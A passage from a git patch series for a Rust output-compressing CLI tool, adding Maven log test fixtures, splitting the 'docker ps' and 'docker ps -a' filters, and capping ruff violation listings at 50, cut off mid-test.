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 literal 0 HcmV?d00001 diff --git a/tests/fixtures/mvn_install_slice_raw.txt b/tests/fixtures/mvn_install_slice_raw.txt new file mode 100644 index 0000000000..539919bd2a --- /dev/null +++ b/tests/fixtures/mvn_install_slice_raw.txt @@ -0,0 +1,39 @@ +[INFO] Scanning for projects... +[INFO] +[INFO] -----------------------< com.example:myapp >------------------------ +[INFO] Building myapp 1.0.0 +[INFO] from pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- compiler:3.8.1:compile (default-compile) @ myapp --- +[INFO] Compiling 12 source files to /path/to/project/target/classes +[WARNING] /path/to/project/src/main/java/com/example/app/Foo.java: Some input files use or override a deprecated API. +[WARNING] /path/to/project/src/main/java/com/example/app/Bar.java: Some input files use unchecked or unsafe operations. +[INFO] +[INFO] --- surefire:2.22.2:test (default-test) @ myapp --- +[INFO] Running com.example.app.FooServiceTest +Jan 15, 2026 10:30:00 AM com.example.app.FooService execute +SEVERE: null +com.example.app.AppException: input must not be null + at com.example.app.FooService.execute(FooService.java:36) + at org.junit.jupiter.api.Assertions.assertThrows(Assertions.java:3007) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.util.ArrayList.forEach(ArrayList.java:1259) +[INFO] Tests run: 6, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 2.213 s - in com.example.app.FooServiceTest +[INFO] +[INFO] Results: +[INFO] +[INFO] Tests run: 10, Failures: 0, Errors: 0, Skipped: 0 +[INFO] +[INFO] --- jar:3.4.0:jar (default-jar) @ myapp --- +[INFO] Building jar: /path/to/project/target/myapp-1.0.0.jar +[INFO] +[INFO] --- install:3.1.1:install (default-install) @ myapp --- +[INFO] Installing /path/to/project/target/myapp-1.0.0.jar to /home/user/.m2/repository/com/example/myapp/1.0.0/myapp-1.0.0.jar +[INFO] Installing /path/to/project/pom.xml to /home/user/.m2/repository/com/example/myapp/1.0.0/myapp-1.0.0.pom +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD SUCCESS +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 49.550 s +[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] ------------------------------------------------------------------------ diff --git a/tests/fixtures/mvn_locale_fr_raw.txt b/tests/fixtures/mvn_locale_fr_raw.txt new file mode 100644 index 0000000000..ab6628439c --- /dev/null +++ b/tests/fixtures/mvn_locale_fr_raw.txt @@ -0,0 +1,15 @@ +[INFO] Recherche des projets... +[INFO] +[INFO] -----------------------< com.example:myapp >------------------------ +[INFO] Construction de myapp 1.0.0 +[INFO] de pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- clean:3.2.0:clean (default-clean) @ myapp --- +[INFO] Suppression de /path/to/project/target +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD ÉCHEC +[INFO] ------------------------------------------------------------------------ +[INFO] Temps total: 0.713 s +[INFO] Termine a: 2026-01-15T10:30:00Z +[INFO] ------------------------------------------------------------------------ diff --git a/tests/fixtures/mvn_no_pom_raw.txt b/tests/fixtures/mvn_no_pom_raw.txt new file mode 100644 index 0000000000..ae838f4ca0 --- /dev/null +++ b/tests/fixtures/mvn_no_pom_raw.txt @@ -0,0 +1,8 @@ +[INFO] Scanning for projects... +[ERROR] The goal you specified requires a project to execute but there is no POM in this directory (/tmp). Please verify you invoked Maven from the correct directory. -> [Help 1] +[ERROR] +[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. +[ERROR] Re-run Maven using the -X switch to enable full debug logging. +[ERROR] +[ERROR] For more information about the errors and possible solutions, please read the following articles: +[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MissingProjectException diff --git a/tests/fixtures/mvn_test_fail_slice_raw.txt b/tests/fixtures/mvn_test_fail_slice_raw.txt new file mode 100644 index 0000000000..b44af338a2 --- /dev/null +++ b/tests/fixtures/mvn_test_fail_slice_raw.txt @@ -0,0 +1,39 @@ +[INFO] Scanning for projects... +[INFO] +[INFO] -----------------------< com.example:myapp >------------------------ +[INFO] Building myapp 1.0.0 +[INFO] from pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- surefire:2.22.2:test (default-test) @ myapp --- +[INFO] +[INFO] ------------------------------------------------------- +[INFO] T E S T S +[INFO] ------------------------------------------------------- +[INFO] Running com.example.app.FooServiceTest +org.opentest4j.AssertionFailedError: expected: <3> but was: <2> + at com.example.app.FooServiceTest.shouldCountThree(FooServiceTest.java:42) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.junit.platform.commons.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:688) + at org.junit.jupiter.engine.execution.MethodInvocation.proceed(MethodInvocation.java:60) + at org.junit.platform.engine.support.hierarchical.NodeTestTask.execute(NodeTestTask.java:84) + at java.util.ArrayList.forEach(ArrayList.java:1259) + at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:418) +[ERROR] Tests run: 6, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 2.341 s <<< FAILURE! - in com.example.app.FooServiceTest +[INFO] Running com.example.app.BarServiceTest +[INFO] Tests run: 4, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.002 s - in com.example.app.BarServiceTest +[INFO] +[INFO] Results: +[INFO] +[ERROR] Failures: +[ERROR] FooServiceTest.shouldCountThree:42 expected: <3> but was: <2> +[ERROR] Tests run: 10, Failures: 1, Errors: 0, Skipped: 0 +[INFO] +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD FAILURE +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 3.124 s +[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] ------------------------------------------------------------------------ diff --git a/tests/fixtures/mvn_test_pass_full_raw.txt.gz b/tests/fixtures/mvn_test_pass_full_raw.txt.gz new file mode 100644 index 0000000000000000000000000000000000000000..2c1b36e3bb955122f1b2139df4db968f96c0dac5 GIT binary patch literal 2978 zcma)6YdDk%8&*PAJ6V;{*9>hD*-Y8pm>G&?krkzA*6cXs*pkCL#yErsYcsrKsccM6 zlN=*7W`t}QZ)h+%=j?SDIpmNeCf^u;_RsfS{d)d9*Zthj{oMDXLfgHY-XQC_Q_`F2 z<4AGyr#Sju_4jvl54e6ELkXft%njQ6_M0lkF3#|BM@&wV4j;o#q27K?;~sk~`S4u1 z$?Pmwy2i=vnEMfnoobcSY)4{}t!d{ghW7UnKW!vr-`4nD6|EWK^qawA{S3S0^YRTc zPHS@6^YigFPF}KG%}0_|PvMW28DYKYwVOwA2Evs#*Jm8dmJ;q9`HGd#rslntamRZt z=>|nBH2$mN9UHa)BwfmPF#@qHaUrYS^dR?FD4^1@3$34F^mrPK~F&Xv_8>?f3 zT-E!&?&Tg(N_Z*BA@sq$mH^h@7m_@~39kxfCfg?5g|jN$H_t+zISOZ=jQRtF^Fa&D zWzW^UY7Y*uZ<3G(of98^Uk?dPGjR17CS9vywEI+=2#*V^?-O{FyfR`+K>4-1&wqW~ z91<3A`Q&F(j>$|zpYGIkLi6%Fmcm})cc<(1D_g1SK6g(X(llL}i%0DvdQb9V3|dny za(!t50ff)QVqe9claD&cEMjL#+DeD}D(3l}zP|aLP4fybdJM|bYirD+_N@x0$XCKW zi%)O5I(7x$A9R@*Y+hAQRp)PXTon$UR=)Bk5yuSw#%Uhixp_i3-sHHW9UZoy&Q zI2Sg>y{2P5hmbZwwl3*ND=4Ccgj}|y*?pn{_Cp4zi{rXd>J8d`b$kda=3ZdG%w~2m zt#-(Umt0VpKywc9|FC**&UVj)%Zz>MfwZ;vkAizUOzd^mL)JAnCa=QvLhR6UNA~G@ z=e_~*{UOD`3H`93+rxvsqZQ%7!;DYfH{Y^D0D`@)*IeMn^bf1Ls?QI7aw+8u2bL(V zq%3`!m~Zg5=CwWVE4y*!{-n=4$C`H@RlmHoTwcP3rdMkg*p-iXCb_mH)1EnWR@FL$ z=ih5t3Rzz*d|Pq8*{+o2t^2T1wQ#&Tm>+;NB*>L@-$Jo6^H`ZMF|k1LVZKzBV(f87 zv8d!pc`lB7zMvOL1$+LqgXQF<)oU#W66MYoOBH&)NF|=~1pcm@7L`b1rs9QS#VE7x zTW44!5yU@Pieq^(KR=E^^%&W(0l{kZjt4uIg{y zzMs57%gR-(k08buv6OJ0+Hpi0AJ8%_Ajbd5QrcF4yIV~6^TwF-coSFSFw(^f(+HB{ znUl_;3|grs(!~z0|t6YC=Q%s`Vc((2^DgF#gNv5;Tm71AS8SS8$B5*@9Q>GIg z9$gAKn7z2Fbi(SSu}~eRB^7|MCt*27VX71_SE@*^N%JGSRwq zk$(C$e(@@Y5GNNA+Czz%TsC|R^H~Qi z^rmd|=WVceNcbkaP(aB0MN5tf_T9BD+G4f5J^kNgjfiPA8mtH!p`(&SJ1%sLNnUUF`GHCoCf9D48{T}>UIk;dO# zo~ko^c1wC=Z5#w?XVqB6$b0B?JN*L}dHKHwHwv^Kf(Y%j32cbgfQ*alwy z6Rlo_R!>3aa;OYEl|i90Y^V$;NDN3715&C98R*)Mo`!?Dvv^T>X4lpbdW4w`0)0^8MwN$_||VJj5!L!p2C1%1M}@bHy^md z2c)+gb_vlA+>x9R@Y@PPzhrPm8|3yyD+}~Q*8T!%1VYaLC8!`GC{BO}_=FDn??xl_ z&`2aYg+n3XDI^MoWJ4htiV}cDBX(?S7;PL%AsGocz0(|yfYXozzs`cQnQ(SCyz}1@ zX0+KNRnRH&cnlSf!Qe5#G>0PK2n3uw0Vm?$$1{_Nqk|UzbFe7O6mj(4Gc~^mZ_2-m zs}8CC4ASgDngwV<64?QV!Q(KRI85SpLUH1R?uZymh82!LTnxljgVc&qDIf~@0EN7Z zLcSE6CIYo(8s)HG?|u|;qT7Me4glZ-w=JL?W5~n|GBJUq#O}u#iUWFKVxbR^Erp%g z@K_nF&?E9SNNWXY&7j=u_VWU_o>xZmXg#cO3*v$hHwIF}D5oHlk!WS)0cGUK*4PON zWi#AGP`T!4Pb{Rii#|owPp?`CQby9J(E8~!3qi$oFm6Evm|OpsBwd`Rvs0&5M;EIT zpuIv30#Bci%;e1_9_;d+r7L1LtsM8x)P!z+;------------------------ +[INFO] Building myapp 1.0.0 +[INFO] from pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- surefire:2.22.2:test (default-test) @ myapp --- +[INFO] +[INFO] ------------------------------------------------------- +[INFO] T E S T S +[INFO] ------------------------------------------------------- +[INFO] Running com.example.app.FooServiceTest +Jan 15, 2026 10:30:00 AM com.example.app.FooService execute +SEVERE: null +com.example.app.AppException: input must not be null + at com.example.app.FooService.execute(FooService.java:36) + at com.example.app.FooServiceTest.lambda$rejectsNullInput$0(FooServiceTest.java:42) + at org.junit.jupiter.api.AssertThrows.assertThrows(AssertThrows.java:55) + at org.junit.jupiter.api.AssertThrows.assertThrows(AssertThrows.java:37) + at org.junit.jupiter.api.Assertions.assertThrows(Assertions.java:3007) + at com.example.app.FooServiceTest.rejectsNullInput(FooServiceTest.java:42) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.junit.platform.commons.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:688) + at org.junit.jupiter.engine.execution.MethodInvocation.proceed(MethodInvocation.java:60) + at org.junit.platform.engine.support.hierarchical.NodeTestTask.execute(NodeTestTask.java:84) + at java.util.ArrayList.forEach(ArrayList.java:1259) + at org.junit.platform.launcher.core.DefaultLauncher.execute(DefaultLauncher.java:128) + at org.apache.maven.surefire.junitplatform.JUnitPlatformProvider.invoke(JUnitPlatformProvider.java:124) + at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:418) +[INFO] Tests run: 6, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 2.213 s - in com.example.app.FooServiceTest +[INFO] Running com.example.app.BarServiceTest +[INFO] Tests run: 4, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.002 s - in com.example.app.BarServiceTest +[INFO] +[INFO] Results: +[INFO] +[INFO] Tests run: 10, Failures: 0, Errors: 0, Skipped: 0 +[INFO] +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD SUCCESS +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 3.124 s +[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] ------------------------------------------------------------------------ From f21b8642dea5ac37ade5308bcf443315d63665e8 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 18 May 2026 19:06:57 +0200 Subject: [PATCH 104/257] fix(filters): split docker ps/-a paths, cap ruff violations at 50 - docker ps reverts to plain (no -a augmentation) - docker ps -a / compose ps -a wired to the running/stopped split filter - ruff Violations: capped at 50 + force_tee_tail_hint recovery - tests for the ruff and pytest xfail caps --- src/cmds/cloud/container.rs | 197 ++++++++++++++++++++++------------ src/cmds/python/pytest_cmd.rs | 31 ++++++ src/cmds/python/ruff_cmd.rs | 70 ++++++++++-- src/main.rs | 21 +++- 4 files changed, 233 insertions(+), 86 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index ee2ac6e4bf..3a91f99e14 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -12,6 +12,7 @@ use std::process::Command; #[derive(Debug, Clone, Copy)] pub enum ContainerCmd { DockerPs, + DockerPsAll, DockerImages, DockerLogs, KubectlPods, @@ -22,6 +23,7 @@ pub enum ContainerCmd { pub fn run(cmd: ContainerCmd, args: &[String], verbose: u8) -> Result { match cmd { ContainerCmd::DockerPs => docker_ps(verbose), + ContainerCmd::DockerPsAll => docker_ps_all(verbose), ContainerCmd::DockerImages => docker_images(verbose), ContainerCmd::DockerLogs => docker_logs(args, verbose), ContainerCmd::KubectlPods => kubectl_pods(args, verbose), @@ -58,13 +60,10 @@ fn docker_ps(_verbose: u8) -> Result { .map(|r| r.stdout) .unwrap_or_default(); - // One structured call over *all* containers (`-a`) — splitting on the State - // field lets us list crashed/exited ones too, which plain `docker ps` hides. let result = exec_capture(resolved_command("docker").args([ "ps", - "-a", "--format", - "{{.State}}\t{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", + "{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", ])) .context("Failed to run docker ps")?; @@ -74,92 +73,146 @@ fn docker_ps(_verbose: u8) -> Result { return Ok(result.exit_code); } - let format_line = |parts: &[&str], with_ports: bool| -> Option { - if parts.len() < 5 { - return None; - } - let id = &parts[1][..12.min(parts[1].len())]; - let name = parts[2]; - // Keep the Status verbatim — it carries health ("Up 4s (unhealthy)") - // and exit-code/restart info an agent needs to judge service health. - let status = parts[3].trim(); - let short_image = parts[4].split('/').next_back().unwrap_or(""); - let port_suffix = if with_ports { - let ports = compact_ports(parts.get(5).unwrap_or(&"")); - if ports == "-" { - String::new() - } else { - format!(" [{}]", ports) - } - } else { - String::new() - }; - Some(format!( - " {} {} ({}) {}{}\n", - id, name, short_image, status, port_suffix - )) - }; + let stdout = result.stdout; + let mut rtk = String::new(); - let mut running: Vec> = Vec::new(); - let mut stopped: Vec> = Vec::new(); - for line in result.stdout.lines().filter(|l| !l.trim().is_empty()) { - let parts: Vec<&str> = line.split('\t').collect(); - let state = parts.first().copied().unwrap_or(""); - if matches!(state, "running" | "restarting") { - running.push(parts); - } else { - stopped.push(parts); - } + if stdout.trim().is_empty() { + rtk.push_str("[docker] 0 containers"); + println!("{}", rtk); + timer.track("docker ps", "rtk docker ps", &raw, &rtk); + return Ok(0); } const MAX_CONTAINERS: usize = 20; + let lines: Vec = stdout + .lines() + .filter(|l| !l.trim().is_empty()) + .filter_map(|line| format_container_line(line, true)) + .collect(); - // Pre-build compressed lines once; assemble full (for tee) and capped (for display) from them. - let running_lines: Vec = running.iter().filter_map(|p| format_line(p, true)).collect(); - let stopped_lines: Vec = stopped.iter().filter_map(|p| format_line(p, false)).collect(); + rtk.push_str(&format!("[docker] {} containers:\n", lines.len())); + for entry in lines.iter().take(MAX_CONTAINERS) { + rtk.push_str(entry); + } + if lines.len() > MAX_CONTAINERS { + rtk.push_str(&format!(" … +{} more\n", lines.len() - MAX_CONTAINERS)); + let full: String = lines.concat(); + if let Some(hint) = crate::core::tee::force_tee_hint(&full, "docker-ps") { + rtk.push_str(&format!("{}\n", hint)); + } + } - let truncated = running_lines.len() > MAX_CONTAINERS || stopped_lines.len() > MAX_CONTAINERS; + print!("{}", rtk); + timer.track("docker ps", "rtk docker ps", &raw, &rtk); + Ok(0) +} - let mut full_rtk = String::new(); - full_rtk.push_str(&format!("[docker] {} running:\n", running_lines.len())); - for l in &running_lines { - full_rtk.push_str(l); +fn docker_ps_all(_verbose: u8) -> Result { + let timer = tracking::TimedExecution::start(); + + let raw = exec_capture(resolved_command("docker").args(["ps", "-a"])) + .map(|r| r.stdout) + .unwrap_or_default(); + + let result = exec_capture(resolved_command("docker").args([ + "ps", + "-a", + "--format", + "{{.State}}\t{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", + ])) + .context("Failed to run docker ps -a")?; + + if !result.success() { + eprint!("{}", result.stderr); + timer.track("docker ps -a", "rtk docker ps -a", &raw, &raw); + return Ok(result.exit_code); } - if !stopped_lines.is_empty() { - full_rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); - for l in &stopped_lines { - full_rtk.push_str(l); + + let mut running_lines: Vec = Vec::new(); + let mut stopped_lines: Vec = Vec::new(); + for line in result.stdout.lines().filter(|l| !l.trim().is_empty()) { + let parts: Vec<&str> = line.split('\t').collect(); + let state = parts.first().copied().unwrap_or(""); + let is_running = matches!(state, "running" | "restarting"); + if let Some(entry) = format_container_line_from_parts(&parts[1..], is_running) { + if is_running { + running_lines.push(entry); + } else { + stopped_lines.push(entry); + } } } + const MAX_CONTAINERS: usize = 20; + let truncated = running_lines.len() > MAX_CONTAINERS || stopped_lines.len() > MAX_CONTAINERS; + let mut rtk = String::new(); rtk.push_str(&format!("[docker] {} running:\n", running_lines.len())); for l in running_lines.iter().take(MAX_CONTAINERS) { rtk.push_str(l); } if running_lines.len() > MAX_CONTAINERS { - rtk.push_str(&format!(" … +{} more\n", running_lines.len() - MAX_CONTAINERS)); + rtk.push_str(&format!( + " … +{} more\n", + running_lines.len() - MAX_CONTAINERS + )); } if !stopped_lines.is_empty() { - rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); + rtk.push_str(&format!( + "[docker] {} stopped/exited:\n", + stopped_lines.len() + )); for l in stopped_lines.iter().take(MAX_CONTAINERS) { rtk.push_str(l); } if stopped_lines.len() > MAX_CONTAINERS { - rtk.push_str(&format!(" … +{} more\n", stopped_lines.len() - MAX_CONTAINERS)); + rtk.push_str(&format!( + " … +{} more\n", + stopped_lines.len() - MAX_CONTAINERS + )); } } if truncated { - if let Some(hint) = crate::core::tee::force_tee_hint(&full_rtk, "docker-ps") { + let full: String = running_lines.iter().chain(stopped_lines.iter()).cloned().collect(); + if let Some(hint) = crate::core::tee::force_tee_hint(&full, "docker-ps-a") { rtk.push_str(&format!("{}\n", hint)); } } print!("{}", rtk); - timer.track("docker ps", "rtk docker ps", &raw, &rtk); + timer.track("docker ps -a", "rtk docker ps -a", &raw, &rtk); Ok(0) } +fn format_container_line(line: &str, with_ports: bool) -> Option { + let parts: Vec<&str> = line.split('\t').collect(); + format_container_line_from_parts(&parts, with_ports) +} + +fn format_container_line_from_parts(parts: &[&str], with_ports: bool) -> Option { + if parts.len() < 4 { + return None; + } + let id = &parts[0][..12.min(parts[0].len())]; + let name = parts[1]; + let status = parts[2].trim(); + let short_image = parts[3].split('/').next_back().unwrap_or(""); + let port_suffix = if with_ports { + let ports = compact_ports(parts.get(4).unwrap_or(&"")); + if ports == "-" { + String::new() + } else { + format!(" [{}]", ports) + } + } else { + String::new() + }; + Some(format!( + " {} {} ({}) {}{}\n", + id, name, short_image, status, port_suffix + )) +} + fn docker_images(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); @@ -581,13 +634,15 @@ pub fn run_docker_passthrough(args: &[OsString], verbose: u8) -> Result { crate::core::runner::run_passthrough("docker", args, verbose) } -/// Run `docker compose ps` with compact output -pub fn run_compose_ps(verbose: u8) -> Result { +/// Run `docker compose ps` (or `docker compose ps -a`) with compact output +pub fn run_compose_ps(all: bool, verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Use `-a` so stopped/exited services stay visible — a worker that crashed - // on startup must not silently vanish from the agent's view. - let raw_result = exec_capture(resolved_command("docker").args(["compose", "ps", "-a"])) + let mut raw_args: Vec<&str> = vec!["compose", "ps"]; + if all { + raw_args.push("-a"); + } + let raw_result = exec_capture(resolved_command("docker").args(&raw_args)) .context("Failed to run docker compose ps")?; if !raw_result.success() { @@ -596,15 +651,13 @@ pub fn run_compose_ps(verbose: u8) -> Result { } let raw = raw_result.stdout; - // Structured output for parsing (same pattern as docker_ps) - let result = exec_capture(resolved_command("docker").args([ - "compose", - "ps", - "-a", - "--format", - "{{.Name}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}", - ])) - .context("Failed to run docker compose ps --format")?; + let mut format_args: Vec<&str> = vec!["compose", "ps"]; + if all { + format_args.push("-a"); + } + format_args.extend(["--format", "{{.Name}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}"]); + let result = exec_capture(resolved_command("docker").args(&format_args)) + .context("Failed to run docker compose ps --format")?; if !result.success() { eprintln!("{}", result.stderr); @@ -618,7 +671,9 @@ pub fn run_compose_ps(verbose: u8) -> Result { let rtk = format_compose_ps(&structured); println!("{}", rtk); - timer.track("docker compose ps", "rtk docker compose ps", &raw, &rtk); + let label = if all { "docker compose ps -a" } else { "docker compose ps" }; + let rtk_label = if all { "rtk docker compose ps -a" } else { "rtk docker compose ps" }; + timer.track(label, rtk_label, &raw, &rtk); Ok(0) } diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index cda1768f2a..89f91ea72f 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -409,6 +409,37 @@ collected 0 items ); } + #[test] + fn test_filter_pytest_xfail_caps_and_tee_hint() { + let mut lines = String::from("=== test session starts ===\ncollected 30 items\n\n"); + lines.push_str("test_x.py "); + for _ in 0..15 { + lines.push('x'); + } + lines.push_str("\n\n=== short test summary info ===\n"); + for i in 0..15 { + lines.push_str(&format!( + "XFAIL test_x.py::test_case_{i} - known issue #{i}\n" + )); + } + lines.push_str("=== 0 passed, 15 xfailed in 0.05s ===\n"); + + let result = filter_pytest_output(&lines); + let xfail_in_section = result + .split("Expected-failure outcomes:") + .nth(1) + .unwrap_or(""); + let listed = xfail_in_section + .lines() + .filter(|l| l.trim().starts_with("XFAIL")) + .count(); + assert!( + listed <= 10, + "MAX_XFAIL cap not enforced: listed {listed}" + ); + assert!(result.contains("… +5 more"), "missing '+N more': {result}"); + } + #[test] fn test_filter_pytest_xfail_xpass() { let output = r#"=== test session starts === diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index 1468483cd4..05f52448f1 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -181,19 +181,36 @@ pub fn filter_ruff_check_json(output: &str) -> String { result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); } - // List all violations with file:line:col — format compression (JSON → one - // liner) already saves ~10x; capping would hide locations the agent needs - // to navigate directly to each issue. + const MAX_VIOLATIONS: usize = 50; + let violation_lines: Vec = diagnostics + .iter() + .map(|diag| { + format!( + " {}:{}:{} {} {}\n", + compact_path(&diag.filename), + diag.location.row, + diag.location.column, + diag.code, + truncate(diag.message.trim(), 100), + ) + }) + .collect(); + result.push_str("\nViolations:\n"); - for diag in &diagnostics { + for line in violation_lines.iter().take(MAX_VIOLATIONS) { + result.push_str(line); + } + if violation_lines.len() > MAX_VIOLATIONS { result.push_str(&format!( - " {}:{}:{} {} {}\n", - compact_path(&diag.filename), - diag.location.row, - diag.location.column, - diag.code, - truncate(diag.message.trim(), 100), + " … +{} more\n", + violation_lines.len() - MAX_VIOLATIONS )); + let full: String = violation_lines.concat(); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&full, "ruff-check", MAX_VIOLATIONS + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } if fixable_count > 0 { @@ -381,6 +398,39 @@ Would reformat: tests/test_utils.py assert!(result.contains("3 files already formatted")); } + #[test] + fn test_filter_ruff_check_caps_violations_and_emits_hint() { + // Mirror ruff's pretty-printed JSON shape so the input-vs-output + // comparison reflects what a real `ruff check --output-format=json` emits. + let mut diags = Vec::new(); + for i in 0..200 { + diags.push(format!( + " {{\n \"code\": \"F401\",\n \"message\": \"`module_{i}` imported but unused\",\n \"location\": {{\"row\": {i}, \"column\": 4}},\n \"end_location\": {{\"row\": 